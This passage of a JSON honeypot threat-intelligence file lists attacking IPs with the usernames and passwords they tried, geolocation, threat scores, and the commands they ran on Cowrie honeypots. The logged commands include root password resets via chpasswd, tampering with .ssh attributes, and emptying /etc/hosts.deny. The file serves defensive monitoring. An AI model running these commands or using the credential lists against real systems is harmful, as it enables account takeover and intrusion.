        "deploy",
        "admin",
        "user",
        "ftpuser",
        "ubuntu",
        "deployer",
        "test",
        "oracle",
        "jenkins",
        "postgres",
        "alex",
        "git",
        "guest",
        "minecraft",
        "odoo",
        "bot",
        "cacti",
        "demo",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "P@ssw0rd",
        "p@ssw0rd",
        "123",
        "12345678",
        "1",
        "1234",
        "12345",
        "root",
        "1qaz@WSX",
        "admin",
        "111",
        "1111",
        "123456789",
        "Aa123456",
        "admin123",
        "1234567",
        "123root",
        "0000"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 6330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T16:57:56.194000+00:00",
        "last_seen_30d": "2026-05-26T18:24:23.616000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4483,
        "Suricata": 1847
      }
    },
    "177.11.196.84": {
      "attack_count": 718,
      "first_seen": "2026-05-07T03:53:05.777Z",
      "last_seen": "2026-05-31T01:12:05.602Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "dev",
        "odoo",
        "postgres",
        "deploy",
        "deployer",
        "nishant",
        "test",
        "user",
        "user1",
        "admin",
        "admin123",
        "ali",
        "db2admin",
        "dbuser",
        "debian",
        "ftpuser",
        "git"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "root",
        "test",
        "test123",
        "!@#qweasd",
        "123",
        "123123",
        "123123123",
        "1234",
        "123456",
        "12345678a@",
        "123@abc",
        "123qwe",
        "123qwe...",
        "1Digital",
        "1q2w3e4r",
        "1qazxsw23edc",
        "1qw23e",
        "321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"nishant\\nUqHJ2vFJomyB\\nUqHJ2vFJomyB\\n\"|passwd",
        "echo \"odoo2018\\nNqBfEBvshbwT\\nNqBfEBvshbwT\\n\"|passwd",
        "echo \"root:u4V2pNy9K1rL\"|chpasswd|bash",
        "echo \"root:ue8za6I4n6qE\"|chpasswd|bash",
        "echo \"root\\nbHfHJLxijCvQ\\nbHfHJLxijCvQ\\n\"|passwd",
        "echo -e \"nishant\\nUqHJ2vFJomyB\\nUqHJ2vFJomyB\"|passwd|bash",
        "echo -e \"odoo2018\\nNqBfEBvshbwT\\nNqBfEBvshbwT\"|passwd|bash",
        "echo -e \"root\\nbHfHJLxijCvQ\\nbHfHJLxijCvQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Feliz",
      "asn": 262907,
      "as_org": "BRASIL TECPAR | AMIGO | AVATO",
      "threat_score": 62.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.6,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 908,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T03:53:05.777000+00:00",
        "last_seen_30d": "2026-05-31T01:13:10.852000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 718,
        "Suricata": 190
      }
    },
    "36.93.144.67": {
      "attack_count": 419,
      "first_seen": "2026-05-16T02:40:37.345Z",
      "last_seen": "2026-05-24T20:44:23.645Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ansible",
        "cloud",
        "dbus-helper",
        "elsearch",
        "linux",
        "linuxacademy",
        "pakchoi",
        "student",
        "systemd-sync",
        "test",
        "udev-monitor",
        "user",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "1234",
        "linux123",
        "121212",
        "12345%$",
        "123456",
        "1qazXSW@3edcVFR$",
        "2022",
        "963852",
        "ABCabc123",
        "Kermit123@",
        "P455w0rd1234",
        "P@ssw0rd",
        "Push@8240",
        "QWEqwe!@#",
        "Wangsu@2017",
        "aessedai",
        "database"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:KamlGI8X2YpW\"|chpasswd|bash",
        "echo \"root:VpP2i6EcCScU\"|chpasswd|bash",
        "echo \"root:XyUwCxcU2D1W\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "West Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 533,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:40:37.345000+00:00",
        "last_seen_30d": "2026-05-24T20:45:33.835000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 419,
        "Suricata": 114
      }
    },
    "187.141.71.166": {
      "attack_count": 411,
      "first_seen": "2026-05-09T09:09:15.300Z",
      "last_seen": "2026-05-16T14:01:09.574Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user4",
        "wireguard",
        "frappe",
        "gokul",
        "noc",
        "rahul",
        "trader",
        "zero"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qweQWE",
        "$RFV5tgb",
        "0708228AsBs!",
        "1",
        "1234",
        "1234567890a",
        "123456@Aa",
        "123456Qq!",
        "20192019",
        "Abcd1234.",
        "Wb123456",
        "ZXCasd123",
        "Zaq1Xsw2Cde3",
        "gokul",
        "idc2.com.cn",
        "noc2024",
        "rahul@123",
        "root1234!@#$"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nkbIOFXi5Obhh\\nkbIOFXi5Obhh\\n\"|passwd",
        "echo \"root:FYP6NpyIkirI\"|chpasswd|bash",
        "echo \"root:KsqR3cNO3yRo\"|chpasswd|bash",
        "echo \"root:wpgKwFIzehYI\"|chpasswd|bash",
        "echo -e \"1234\\nkbIOFXi5Obhh\\nkbIOFXi5Obhh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": null,
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 486,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:09:15.300000+00:00",
        "last_seen_30d": "2026-05-16T14:02:15.419000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 411,
        "Suricata": 75
      }
    },
    "116.110.16.100": {
      "attack_count": 387,
      "first_seen": "2026-05-03T10:54:02.030Z",
      "last_seen": "2026-05-03T11:28:08.699Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "support",
        "cisco",
        "ftp",
        "help",
        "monitor",
        "test",
        "*****",
        "1234",
        "123456",
        "ace",
        "auto",
        "bin",
        "brenda",
        "btf",
        "cf1c22",
        "client",
        "config"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345",
        "admin",
        "admin123",
        "password",
        "*****",
        "039715582364317",
        "0987654321",
        "1111",
        "12345678",
        "123456789",
        "321start",
        "?",
        "P@ssw0rd",
        "abcd1234",
        "ace",
        "admin01",
        "admin1",
        "admin1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 552,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:54:02.030000+00:00",
        "last_seen_30d": "2026-05-03T11:29:10.665000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 387,
        "Suricata": 165
      }
    },
    "58.47.122.147": {
      "attack_count": 373,
      "first_seen": "2026-05-21T06:50:20.302Z",
      "last_seen": "2026-05-22T04:54:12.795Z",
      "sessions": 186,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 566,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:50:20.302000+00:00",
        "last_seen_30d": "2026-05-22T04:55:15.826000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 373,
        "Suricata": 193
      }
    },
    "152.32.171.251": {
      "attack_count": 362,
      "first_seen": "2026-05-09T18:55:28.963Z",
      "last_seen": "2026-05-24T02:54:16.099Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sysadmin",
        "chat",
        "devuser",
        "dockeruser",
        "elasticsearch",
        "hadi",
        "info",
        "sftpuser",
        "test",
        "testmail",
        "testuser",
        "zhangsan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123",
        "123456",
        "12345678",
        "123@@@",
        "123QWEasd",
        "123qweQWE!@#",
        "1616",
        "1qaz!QAZ",
        "321123",
        "44",
        "AAA123BBB",
        "Aaa",
        "Aladin21",
        "Cisco123",
        "Hb123456",
        "Jj123456."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123123\\nr07X6lN0tSty\\nr07X6lN0tSty\\n\"|passwd",
        "echo \"root:r0tgceLfpqon\"|chpasswd|bash",
        "echo -e \"123123\\nr07X6lN0tSty\\nr07X6lN0tSty\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:55:28.963000+00:00",
        "last_seen_30d": "2026-05-24T02:55:19.515000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 362,
        "Suricata": 112
      }
    },
    "116.110.150.12": {
      "attack_count": 358,
      "first_seen": "2026-05-02T00:35:27.522Z",
      "last_seen": "2026-05-02T01:03:58.001Z",
      "sessions": 72,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "support",
        "ubnt",
        "123456",
        "am",
        "anton",
        "belkinstyle",
        "brenda",
        "client",
        "cpanel",
        "developer",
        "dubai",
        "ftp",
        "geral",
        "install",
        "installer",
        "jay",
        "joggler"
      ],
      "passwords_attempted": [
        "password",
        "0l0ctyQh243O63uD",
        "1234",
        "123456",
        "admin",
        "039715582364317",
        "0987654321",
        "1",
        "112233",
        "123",
        "12345678",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "@",
        "Deadstar!",
        "admin@123",
        "administrator",
        "aerohive"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 531,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:35:27.522000+00:00",
        "last_seen_30d": "2026-05-02T01:05:06.335000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 358,
        "Suricata": 173
      }
    },
    "185.193.240.246": {
      "attack_count": 350,
      "first_seen": "2026-05-29T22:46:26.997Z",
      "last_seen": "2026-05-29T23:07:27.317Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "omm",
        "testuser",
        "examen",
        "ftpuser",
        "icp",
        "leon",
        "sysadmin",
        "teszt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "111",
        "123123",
        "12345",
        "123456",
        "@Aa123123",
        "Admin@123@",
        "QWEASDzxc123",
        "Sj123456",
        "abc123",
        "examen",
        "icp",
        "ph0n3v0xn0v43r4",
        "qwER12#$",
        "teszt"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"111\\nC2xG0aOIxPGS\\nC2xG0aOIxPGS\\n\"|passwd",
        "echo \"123456\\nzDwMAXUDuYgE\\nzDwMAXUDuYgE\\n\"|passwd",
        "echo \"abc123\\nDlr14IRl5jx1\\nDlr14IRl5jx1\\n\"|passwd",
        "echo \"root:AyJB9yliQTqj\"|chpasswd|bash",
        "echo -e \"111\\nC2xG0aOIxPGS\\nC2xG0aOIxPGS\"|passwd|bash",
        "echo -e \"123456\\nzDwMAXUDuYgE\\nzDwMAXUDuYgE\"|passwd|bash",
        "echo -e \"abc123\\nDlr14IRl5jx1\\nDlr14IRl5jx1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Skopje",
      "asn": 212645,
      "as_org": "Globalsat Dooel",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:46:26.997000+00:00",
        "last_seen_30d": "2026-05-29T23:08:33.639000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 51
      }
    },
    "43.133.60.217": {
      "attack_count": 314,
      "first_seen": "2026-05-17T03:10:09.734Z",
      "last_seen": "2026-05-17T03:39:49.339Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cma",
        "dspace",
        "it",
        "liuyong",
        "oracle",
        "user1",
        "weixifeng",
        "zte"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "20192019",
        "Admin12345@",
        "Asdfghjkl1",
        "Cd123456",
        "QWERqwer123",
        "Server@2024",
        "Sm@123456",
        "Welcome2023!",
        "abc123ABC!@#",
        "abcabc123",
        "cma123",
        "dspace@2025",
        "gaurav",
        "it@123",
        "liuyong",
        "oracle2025",
        "rootuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:dcNQnstxRye6\"|chpasswd|bash",
        "echo \"root:nDfdaxJZHBPi\"|chpasswd|bash",
        "echo \"root:ukCsX3wFKbEW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 376,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:10:09.734000+00:00",
        "last_seen_30d": "2026-05-17T03:40:58.399000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 62
      }
    },
    "34.31.210.43": {
      "attack_count": 300,
      "first_seen": "2026-05-05T18:32:30.184Z",
      "last_seen": "2026-05-05T20:22:02.505Z",
      "sessions": 150,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:32:30.184000+00:00",
        "last_seen_30d": "2026-05-05T20:24:17.115000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 300,
        "Suricata": 173
      }
    },
    "68.168.222.191": {
      "attack_count": 257,
      "first_seen": "2026-05-14T14:35:37.611Z",
      "last_seen": "2026-05-14T15:13:34.916Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "...",
        "pakchoi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "112233445566",
        "19840102",
        "1q2w3e4r!Q@W#E$R",
        "2067",
        "Kermit123@",
        "Tiger123",
        "admin@#",
        "asdfjkl;",
        "china@2013",
        "emo123",
        "hostmaster",
        "jualan80",
        "k0nig~test",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "orzeszek",
        "parola123",
        "qwer123$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"linux123\\nkscndkYfySdC\\nkscndkYfySdC\\n\"|passwd",
        "echo \"root:YwofMEPV9obU\"|chpasswd|bash",
        "echo -e \"linux123\\nkscndkYfySdC\\nkscndkYfySdC\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 320,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:35:37.611000+00:00",
        "last_seen_30d": "2026-05-14T15:14:40.095000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 63
      }
    },
    "194.147.10.85": {
      "attack_count": 244,
      "first_seen": "2026-05-22T09:50:39.878Z",
      "last_seen": "2026-05-22T20:28:25.019Z",
      "sessions": 122,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 210218,
      "as_org": "Open Fiber S.P.A.",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 380,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:50:39.878000+00:00",
        "last_seen_30d": "2026-05-22T20:29:28.478000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 244,
        "Suricata": 136
      }
    },
    "43.134.109.147": {
      "attack_count": 236,
      "first_seen": "2026-05-17T08:47:34.541Z",
      "last_seen": "2026-05-17T09:19:18.573Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456aa",
        "1q@W3e$R5t",
        "Control2017",
        "Pentium",
        "Qwerty!23",
        "ampulare",
        "cookie",
        "deneme",
        "dolphin1",
        "dragonfly",
        "drishti",
        "fengjun",
        "integrated",
        "k0nig02021",
        "kwiatek",
        "qh@123",
        "security",
        "sysadmin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
